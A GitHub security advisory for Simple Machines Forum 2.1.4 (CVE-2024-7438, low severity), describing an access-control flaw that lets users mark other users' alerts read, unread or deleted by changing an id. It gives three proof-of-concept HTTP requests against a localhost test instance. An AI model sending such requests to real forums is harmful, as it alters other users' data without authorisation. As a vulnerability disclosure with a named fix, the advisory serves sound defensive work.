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SMF v2.1.4 - Insecure Direct Object Reference(IDOR)

Low
jdarwood007 published GHSA-xwff-7wp5-c6mh Jun 25, 2025

Package

SMF

Affected versions

<= 2.1.4

Patched versions

2.1.5

Description

Date: 25/7/2024

Vendor Homepage: https://github.com/SimpleMachines/SMF

Tested on: Debian Linux, Apache, Mysql

Vendor: SimpleMachines

Version: v2.1.4

Exploit Description:

SMF v2.1.4 suffers from IDOR - Broken Access Control Vulnerability allowing attackers to mark other user's alerts as read or unread(horizontal privilege escalation).

---------------------------------POC-----------------------------

GET /index.php?action=profile;u=2;area=showalerts;do=read;aid=3(CHANGE HERE);f05dbf50a54f=9fc74e4234f40571a49c23b1a0799b19 HTTP/1.1
Host: localhost:8410
...
Connection: keep-alive

GET /index.php?action=profile;u=2;area=showalerts;do=unread;aid=3(CHANGE HERE);f05dbf50a54f=9fc74e4234f40571a49c23b1a0799b19 HTTP/1.1
Host: localhost:8410
...
Connection: keep-alive

Exploit Title: SMF v2.1.4 - Insecure Direct Object Reference(IDOR)

Date: 25/7/2024

Vendor Homepage: https://github.com/SimpleMachines/SMF

Tested on: Debian Linux, Apache, Mysql

Vendor: SimpleMachines

Version: v2.1.4

Exploit Description:

SMF v2.1.4 suffers from IDOR - Broken Access Control Vulnerability allowing attackers to delete other user's alerts (horizontal privilege escalation).

---------------------------------POC-----------------------------

GET /index.php?action=profile;u=2;area=showalerts;do=remove;aid=4(CHANGE HERE);f05dbf50a54f=9fc74e4234f40571a49c23b1a0799b19 HTTP/1.1
Host: localhost:8410
...
Connection: keep-alive

Severity

Low

CVE ID

CVE-2024-7438

Weaknesses

No CWEs

Credits